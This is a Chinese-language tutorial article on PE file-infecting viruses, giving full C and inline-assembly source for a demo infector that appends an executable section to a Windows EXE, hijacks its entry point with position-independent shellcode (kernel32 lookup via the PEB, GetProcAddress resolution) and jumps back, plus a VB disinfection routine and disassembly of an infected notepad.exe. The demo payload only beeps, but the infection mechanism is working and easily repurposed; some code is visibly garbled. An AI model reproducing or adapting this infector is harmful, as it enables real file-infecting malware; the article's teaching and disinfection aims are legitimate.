編程中的黑暗領域:感染型病毒是怎麼開發的?又該如何查殺?

在編程殿堂中,工作無貴賤,但技術真有高低。在黑暗領域,PE感染型病毒歷久以來處於技術金字塔的頂端,長久以來都蒙著一層神密的面紗。

一般來說,PE感染型病毒,會感染電腦中的可執行文件,一旦被此類病毒入侵,很難清除,在以往通常都只能選擇重裝系統,可見其危害性。

編程中的黑暗領域:感染型病毒是怎麼開發的?又該如何查殺?

感染型病毒開發,需要對PE文件格式、C、彙編、系統內核等方面知識,有相當瞭解。

但,真的:技術是把雙刃劍,可以為害,也可以向善、做有用的事。

同樣的技術,也可以用來寫文件加密工具、逆向的使用,可以編寫感染型病毒清除工具。

本文即會從兩個角度,分別介紹“感染型”病毒的開發、擴展應用於正途的思路、以及如何查殺”感染型“病毒。

“感染型病毒”開發

那麼,就讓我們通過實例,寫一個“病毒”來真實瞭解一下其開發過程:

注:這不是一個真的病毒,此程序運行時會“感染”EXE文件,給其增加一個新“節”,被“感染”的文件啟動時,會發出“嗶”的一聲,僅此而已,演示而用、並無危害。

//包含必要的頭文件
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>

//常量定義

#define DEBUG\t1
#define EXTRA_CODE_LENGTH\t18

//增加的節的大小
#define SECTION_SIZE\t0x1000 \t

//增加的節的名字,設置為:.test
#define SECTION_NAME\t".test"\t

//文件名最大長度(包括路徑)
#define FILE_NAME_LENGTH\t30\t

//數量對齊函數
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;

assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;

//餘數不為零,也就是沒有整除
if (0 != result)\t
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}

//工具使用方法
void usage()
{
printf("開源殺毒軟件:Ty2y殺毒軟件 -測試用DEMO \\n");
printf("使用方法:\\n");
printf("virTest.exe FileName\\n");
printf("例如: \\n");
printf("virTest.exe test.exe\\n");
}

//入口函數
int main(int argc, char *argv[])
{
//DOS頭
IMAGE_DOS_HEADER DosHeader;

//NT頭
IMAGE_NT_HEADERS NtHeader;

//節頭
IMAGE_SECTION_HEADER SectionHeader;

//要新增加的節的節頭
IMAGE_SECTION_HEADER newSectionHeader;\t

//節的數量
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;

//新入口點
unsigned int newEP;\t

//原始入口點
unsigned int oldEP;

//彙編指令:jmp
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;

//判斷命令行參數是否為空
if (NULL == argv[1])
{
puts("參數錯誤\\n");
usage();
exit(0);
}

//原始文件名

strcpy(srcFileName, argv[1]);

//目標文件名
strcpy(newFileName, srcFileName);

//給目標文件名再加一個後綴,比如原來是:Test.exe,再增加一次.exe後綴,成為:Test.exe.exe,以此區分與原文件
strcat(newFileName, ".exe");

//複製一份原始文件
if (!CopyFile(srcFileName, newFileName, FALSE))
{

//提示錯誤
puts("複製文件失敗");
exit(0);
}


//打開新文件
//打開方式為"rb+"
pNewFile = fopen(newFileName, "rb+");\t
if (NULL == pNewFile)
{
puts("打開文件失敗");
exit(0);
}

//定位到文件開始位置
fseek(pNewFile, 0, SEEK_SET);

//讀取IMAGE_DOS_HEADER
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);

//判斷是否是PE文件
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}

//再定位到PE文件頭,然後讀取IMAGE_NT_HEADERS

fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("文件錯誤,非PE文件");
exit(0);
}

//經過兩次驗證,到此處可以確認這是PE文件,接下來可以放心的進行感染操作了

//此PE文件節的數量
numOfSections = NtHeader.FileHeader.NumberOfSections;

//文件對齊量
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;

//節對齊量
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;

#if DEBUG
//打印出調試信息
printf("FILE_ALIGN_MENT-> %x\\n", FILE_ALIGN_MENT);
printf("SECTION_ALIGN_MENT-> %x\\n", FILE_ALIGN_MENT);
#endif

//保存原來的入口地址
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;

//定位到最後一個SectionHeader
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);

#if DEBUG
//打印出調試信息
printf("節的名字:%s\\n", SectionHeader.Name);
#endif

}

//增加一個新節前的準備工作

extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);

//節的總數加一
NtHeader.FileHeader.NumberOfSections++;\t

//先清零
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));

//修改清零後部分數據:節名
strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));\t

//重新設置VirtualAddress
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,SECTION_ALIGN_MENT);


//重新設置VirtualSize
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);

//重新設置PointerToRawData
newSectionHeader.PointerToRawData = Align(SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,FILE_ALIGN_MENT);

//重新設置SizeOfRawData
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);

//修改新節的屬性為:可讀、可寫、可執行
newSectionHeader.Characteristics = 0xE0000020;

#if DEBUG
//打印出調試信息
printf("原始SizeOfCode: %x\\n", NtHeader.OptionalHeader.SizeOfCode);
printf("原始SizeOfImage: %x\\n", NtHeader.OptionalHeader.SizeOfImage);
#endif

//重新設置NtHeader

//重新設置SizeOfCode
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT);\t

//重新設置SizeOfImage
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage + Align(SECTION_SIZE, SECTION_ALIGN_MENT);

#if DEBUG
//打印出調試信息

printf("新的SizeOfCode: %x\\n", NtHeader.OptionalHeader.SizeOfCode);
printf("新的SizeOfImage: %x\\n", NtHeader.OptionalHeader.SizeOfImage);
#endif

//Set zero the Bound Import Directory header
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

//跳轉到文件開始位置
fseek(pNewFile, 0, SEEK_END);

//新入口地址設置為新節的虛擬地址
newEP = newSectionHeader.VirtualAddress;

#if DEBUG
//打印出調試信息
printf("原入口地址-> %x\\n", oldEP);
printf("新入口地址-> %x\\n", ftell(pNewFile));
#endif\t

//設置新的入口地址
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;

//定位到節表尾部
fseek(pNewFile, DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + numOfSections * sizeof(IMAGE_SECTION_HEADER),SEEK_SET);

#if DEBUG
調試信息
printf("重新節頭前當前指針位置-> %x\\n", ftell(pNewFile));
printf("插入新節名稱: %s\\n", newSectionHeader.Name);
#endif\t

//寫入重新設置後的節頭
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);

#if DEBUG
//打印出調試信息
printf("重新節頭後當前指針位置-> %x\\n", ftell(pNewFile));
#endif\t

fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);

#if DEBUG
//打印出調試信息
printf("重寫NtHeader前當前指針位置-> %x\\n", ftell(pNewFile));
printf("(IMAGE_NT_HEADERS)大小: %x\\n", sizeof(IMAGE_NT_HEADERS));
#endif\t

//寫入重新設置後的PE文件頭(NT頭)
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);

//定位到文件尾部
fseek(pNewFile, 0, SEEK_END);

#if DEBUG
//打印出調試信息
printf("文件結尾指針-> %x\\n", ftell(pNewFile));
#endif

//寫入新節,這裡先寫入0
for (i=0; i<align>{
fputc(0, pNewFile);
}

//位到新節的開頭

fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);



#if DEBUG



//打印出調試信息



printf("重寫額外數據前指針-> %x\\n", ftell(pNewFile));

#endif



goto GetExtraData;





extra_data_start:



_asm pushad



//獲取kernel32.dll的基址

_asm \tmov eax, fs:0x30\t ;PEB的地址

_asm \tmov eax, [eax + 0x0c]

_asm \tmov esi, [eax + 0x1c]

_asm \tlodsd

_asm \tmov eax, [eax + 0x08] ;eax就是kernel32.dll的基址



//同時保存kernel32.dll的基址到edi

_asm \tmov edi, eax\t

//通過搜索 kernel32.dll的導出表查找GetProcAddress函數的地址

_asm \tmov ebp, eax

_asm \tmov eax, [ebp + 3ch]

_asm \tmov edx, [ebp + eax + 78h]

_asm \tadd edx, ebp

_asm \tmov ecx, [edx + 18h]

_asm \tmov ebx, [edx + 20h]


_asm \tadd ebx, ebp

search:

_asm\tdec ecx

_asm \tmov esi, [ebx + ecx * 4]

_asm \tadd esi, ebp

_asm \tmov eax, 0x50746547



//比較"PteG"

_asm \tcmp [esi], eax\t

_asm \tjne search

_asm \tmov eax, 0x41636f72

_asm \tcmp [esi + 4], eax

_asm \tjne search

_asm \tmov ebx, [edx + 24h]

_asm \tadd ebx, ebp

_asm \tmov cx, [ebx + ecx * 2]

_asm \tmov ebx, [edx + 1ch]

_asm \tadd ebx, ebp

_asm \tmov eax, [ebx + ecx * 4]



//eax保存的就是GetProcAddress的地址

_asm \tadd eax, ebp\t

//為局部變量分配空間

_asm \tpush ebp

_asm \tsub esp, 50h

_asm \tmov ebp, esp

//查找beep的地址



//把GetProcAddress的地址保存到ebp + 40中

_asm \tmov [ebp + 40h], eax\t

//開始查找Beep的地址, 先構造"Beep\\0"



//即'\\0'

_asm \tpush 0x0\t

//準備壓入"Beep"字符串,也就是要讓這段“感染”代碼執行Beep函數

//字符串和這裡使用的16進制串的關係可以通過字符與Ascii代碼對照表獲取,

//比如:B的Ascii碼是:66,轉化為16進制是:42,e的Ascii碼是:101,轉化為16進制是:65,p的Ascii碼值是112,轉化為16進制是:70

_asm \tpush DWORD PTR 0x70656542

_asm \tpush esp\t//壓入"Beep\\0"的地址



//edi:kernel32的基址

_asm \tpush edi\t



//返回值(即Beep函數的地址)保存在eax中

_asm \tcall [ebp + 40h]\t



//保存Beep的地址到ebp + 44h

_asm \tmov [ebp + 44h], eax\t



//壓入Beep函數的兩個參數,一個表示聲音頻率,一個表示發音時長

_asm \tpush 0x1b8

_asm \tpush 0x100

//調用Beep函數

_asm \tcall [ebp + 44h]\t



_asm\tmov esp, ebp

_asm\tadd esp, 0x50

_asm\tpopad



extra_data_end:



GetExtraData:

_asm pushad;

_asm lea eax, extra_data_start;

_asm mov pExtra_data, eax;

_asm lea edx, extra_data_end;


_asm sub edx, eax;

_asm mov extra_data_real_length, edx;

_asm popad;





//寫入附加數據(用於測試“病毒”感染行為的數據)

for (i = 0; i < extra_data_real_length; i++)

{

fputc(pExtra_data[i], pNewFile);

}





oldEP = oldEP - (newEP + extra_data_real_length) - 5;



#if DEBUG

printf(原入口地址-> %x\\n", oldEP);

#endif



//“病毒”代碼結速,再跳回到原始入口地址繼續執行

jmp = 0xE9;

fwrite(&jmp, sizeof(jmp), 1, pNewFile);

fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);



fclose(pNewFile);

return 0;

}/<align>/<assert.h>/<stdio.h>/<winnt.h>/<windows.h>

從上面的代碼中,已經可以看到“病毒”代碼,也可以理解了它的感染理論。實際情況下,它是否能達到我們預期的效果,以能達到分析的價值呢,且看試驗效果:

我們以系統的記事本文件notepad.exe做為試驗對像。運行“病毒”並感染文件:

編程中的黑暗領域:感染型病毒是怎麼開發的?又該如何查殺?

可以看到“感染”已經順利完成,並且打印出了重要的調試信息。比如:插入的節名、原始入口地址、新入口地址。

在運行感染後的文件時,也如我們期望的一般,在打開時,系統發出聲音、並且啟動時間比打開原本文件長了一些(因為在執行“感染”代碼)。

這裡是給程序增加了一個“嗶”的聲音,擴展一下思路,就可以開發一個給文件加口令的功能,啟動程序時,輸入正確的口令才能打開。

查殺“感染型病毒”病毒。

有了上面圖中這些信息,就可以做此“病毒”的清除工作了。

也許有人還覺的疑惑,倒底要做什麼呢?

我們來理一理頭緒:上面病毒感染了系統文件,在感染的過程中它插入了一段新的代碼、修改了程序的入口點、執行完它插入的代碼後,跳回到原入口點。

那麼清除它的思路也就清晰了:還原程序入口點,清除插入的代碼。簡單的說來,就是這麼簡單。

不過在這裡,我們不使用PE文件節的操作方式,而會使用另一種稍有晦澀卻也更有技巧的編程方式,實現清除此“感染型病毒”,且看代碼吧,真像都在其中。

編程清除上面介紹的“感染型病毒”,還原被感染的文件,代碼如下:

Public Function killInfection(file As String) As Integer

On Error GoTo ErrExit
Dim i As Long
Dim MZ(2) As Byte, PeOffset As Long, Number As Long, L(4) As Byte, Low As Byte, High As Byte
Dim t As Byte, StrHead As String
Dim SizeOfImage As Long, Point As Long, SizeOfRaw As Long, Entry As Long
Point = 0: SizeOfRaw = 0: Entry = 0: StrHead = "": SizeOfImage = 0

'以二進制方式打開文件
Open file For Binary As #1

'讀取文件第1、2字判斷是否是可執行文件
Get #1, 1, MZ(0)
Get #1, 2, MZ(1)

If MZ(0) <> &H4D And MZ(1) <> &H5A Then
killinfection = NOT_PE
End If

'得到PE頭偏移,因為PE文件頭格式都是固定的,得到了這個PE頭偏移,就可以以此為基礎,獲取其它文件頭字段數據
Get #1, 61, PeOffset

'因為文件指針是從1開始所以要加上1
PeOffset = PeOffset + 1

Get #1, PeOffset, Low
Get #1, PeOffset + 1, High

'PE頭開始處是PE標誌,上面獲取的就是得到PE標誌(Coff header)
If Low <> &H50 And High <> &H45 Then
killinfection= NOT_W32
End If

'取得節數(Section數),保存節數的共8字節,為了精準的獲取數據,採用分別獲取高低八數據,然再拼合在一起的辦法

'低位
Get #1, PeOffset + 6, L(0)

'高位
Get #1, PeOffset + 7, L(1)
Number = L(1) * 256& + L(0)

'取得SizeOfImage(Optional Header中),在PE頭偏移處加50H的地方
Get #1, PeOffset + &H50, L(0)
Get #1, PeOffset + &H51, L(1)
Get #1, PeOffset + &H52, L(2)
Get #1, PeOffset + &H53, L(3)
SizeOfImage = L(3) * 256& * 256& * 256 + L(2) * 256& * 256& + L(1) * 256& + L(0)

'減掉毒增加的H1000字節
SizeOfImage = SizeOfImage - &H1000

'這裡開始是獲取最後一個節(Section名),用Get方法讀取文件內容時,會將指針著隨著移動,讀取到最後一個節,也就是移動到了最後一個節
For i = 0 To 7
Get #1, PeOffset + &H53 + &HA5 + &H28 * (Number - 1) + i, t
'get讀到的數據是數字,用Chr將之轉化為字母
StrHead = StrHead & Chr(t)
Next i

'判斷是否是病毒新增加的節:.test,如果是,說明此文件被感染了,可以進行修改,當然這裡只是演示產操作,判斷依據不夠充分,在實際的應用中,為了防止誤操作可以再增加一些其它的判斷條件,比如節的大小或其它的特徵
If Left(StrHead, 5) = ".test" = 0 Then

'重寫sizeofimage
t = CByte(SizeOfImage Mod 256)

Put #1, PeOffset + &H50, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)

Put #1, PeOffset + &H51, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)

Put #1, PeOffset + &H52, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)

Put #1, PeOffset + &H53, t

'重寫程序入口點
Entry = &H739D
t = CByte(Entry Mod 256)

Put #1, PeOffset + 40, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod 256)

Put #1, PeOffset + 41, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod 256)

Put #1, PeOffset + 42, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod (256&))
Put #1, PeOffset + 43, t

'寫節數,比原來小1
t = CByte((Number Mod 256&) - 1)

Put #1, PeOffset + 6, t
t = CByte(Number / 256&)
Put #1, PeOffset + 7, t
killinfection = CLEANED
Else
killinfection= CLEAN_FILE
End If

Close #1
Exit Function

ErrExit:
killKinfection= CLEAN_FILE
Close #1

End Function

這段代碼中,使用了大量的數字,比如:Get #1, PeOffset + &H50, L(0),在代碼中已經做了具體的說明:在PE頭偏移處加50H的地方存放著SizeOfImage,這是有PE頭結構據可依能計算得出且固定不會變的。

但另外一些,比如:減掉病毒增加的H1000字節、Entry = &H739D,這兩個是非常重要的數據,這兩個值看不出它的出處。雖然從“病毒”源碼中可以得知H1000字節對應的根據是:#define SECTION_SIZE 0x1000;但除了作者誰也不知道源碼是這樣寫的。而Entry = &H739D,是指入口點,同樣的,此入口點值是由“病毒”運行時打印出的,真正的病毒,是不會有這樣誠實的對白的。那麼,我們實戰中我們該如何獲取這些信息呢?

就H1000字節的問題而言,1000H字節,指的是“病毒”附加在宿主文件上內容量大小,對於本“病毒”而言,它向被感染文件增加了一個節,新增的代碼都放罷在此節中,那麼新增加的節的大小,就是所增加內容量的大小。這個節的大小值,可以通過很多PE輔助工具查看。例如下圖:

編程中的黑暗領域:感染型病毒是怎麼開發的?又該如何查殺?

可以看到,.test節的大小為00001000(十六進制)

同理,再使用其它的逆向工具,可以很輕鬆的看到文件的反彙編代碼,比如被感染後,Notepad.exe的入口處代碼如下:

01013000 > 60 pushad
01013001 64:A1 30000000 mov eax, dword ptr fs:[30]
01013007 8B40 0C mov eax, dword ptr [eax+C]
0101300A 8B70 1C mov esi, dword ptr [eax+1C]
0101300D AD lods dword ptr [esi]
0101300E 8B40 08 mov eax, dword ptr [eax+8]
01013011 8BF8 mov edi, eax

01013013 8BE8 mov ebp, eax
01013015 8B45 3C mov eax, dword ptr [ebp+3C]
01013018 8B5405 78 mov edx, dword ptr [ebp+eax+78]
0101301C 03D5 add edx, ebp
0101301E 8B4A 18 mov ecx, dword ptr [edx+18]
01013021 8B5A 20 mov ebx, dword ptr [edx+20]
01013024 03DD add ebx, ebp
01013026 49 dec ecx
01013027 8B348B mov esi, dword ptr [ebx+ecx*4]
0101302A 03F5 add esi, ebp
0101302C B8 47657450 mov eax, 50746547
01013031 3906 cmp dword ptr [esi], eax
01013033 ^ 75 F1 jnz short 01013026
01013035 B8 726F6341 mov eax, 41636F72
0101303A 3946 04 cmp dword ptr [esi+4], eax
0101303D ^ 75 E7 jnz short 01013026
0101303F 8B5A 24 mov ebx, dword ptr [edx+24]
01013042 03DD add ebx, ebp
01013044 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
01013048 8B5A 1C mov ebx, dword ptr [edx+1C]
0101304B 03DD add ebx, ebp
0101304D 8B048B mov eax, dword ptr [ebx+ecx*4]
01013050 03C5 add eax, ebp
01013052 55 push ebp
01013053 83EC 50 sub esp, 50
01013056 8BEC mov ebp, esp
01013058 8945 40 mov dword ptr [ebp+40], eax
0101305B 6A 00 push 0
0101305D 68 42656570 push 70656542
01013062 54 push esp
01013063 57 push edi
01013064 FF55 40 call dword ptr [ebp+40]
01013067 8945 44 mov dword ptr [ebp+44], eax
0101306A 68 B8010000 push 1B8
0101306F 68 00010000 push 100
01013074 FF55 44 call dword ptr [ebp+44]
01013077 8BE5 mov esp, ebp
01013079 83C4 50 add esp, 50
0101307C 61 popad
0101307D - E9 1B43FFFF jmp 0100739D

01013000~0101307D行的代碼,都是我們“感染”到正常文件中的入口點代碼:

0101306A 68 B8010000 push 1B8
0101306F 68 00010000 push 100
01013074 FF55 44 call dword ptr [ebp+44]

這是我們調用的Beep函數;

最後一句jmp 0100739D是關鍵,它跳轉到了真正的程序入口點,也就是0100739D。為什麼說0100739D處就是入口點呢,而不是一箇中途的跳轉?這是因為:在0100739D的地方,出現了正常程序入口點所擁有的特徵:

0100739D: 6A70 PUSH 00000070H
0100739F: 6898180001 PUSH 01001898H
010073A4: E8BF010000 CALL 01007568H
010073A9: 33DB XOR EBX, EBX
010073AB: 53 PUSH EBX
010073AC: 8B3DCC100001 MOV EDI, [010010CCH]
010073B2: FFD7 CALL EDI
010073B4: 6681384D5A CMP WORD PTR [EAX], 5A4DH
010073B9: 751F JNZ 10073DAH
010073BB: 8B483C MOV ECX, [EAX+3CH]
010073BE: 03C8 ADD ECX, EAX
010073C0: 813950450000 CMP [ECX], 00004550H
010073C6: 7512 JNZ 10073DAH
010073C8: 0FB74118 MOVZX EAX, WORD PTR [ECX+18H]
010073CC: 3D0B010000 CMP EAX, 0000010BH
010073D1: 741F JZ 10073F2H
010073D3: 3D0B020000 CMP EAX, 0000020BH
010073D8: 7405 JZ 10073DFH
010073DA: 895DE4 MOV [EBP-1CH], EBX
010073DD: EB27 JMP 1007406H
010073DF: 83B9840000000E CMP [ECX+00000084H], 0000000EH
010073E6: 76F2 JBE 10073DAH
010073E8: 33C0 XOR EAX, EAX
010073EA: 3999F8000000 CMP [ECX+000000F8H], EBX
010073F0: EB0E JMP 1007400H
010073F2: 8379740E CMP [ECX+74H], 0000000EH
010073F6: 76E2 JBE 10073DAH
010073F8: 33C0 XOR EAX, EAX
010073FA: 3999E8000000 CMP [ECX+000000E8H], EBX
01007400: 0F95C0 SETNZ AL
01007403: 8945E4 MOV [EBP-1CH], EAX
01007406: 895DFC MOV [EBP-04H], EBX
01007409: 6A02 PUSH 00000002H
0100740B: FF1538130001 CALL [01001338H] ; __set_app_type
01007411: 59 POP ECX

總結而言,清除感染型病毒是逆向而為,也就是,知道了此類病毒的感染原理,反著操作一遍,便是清除它的方法。


分享到:


相關文章: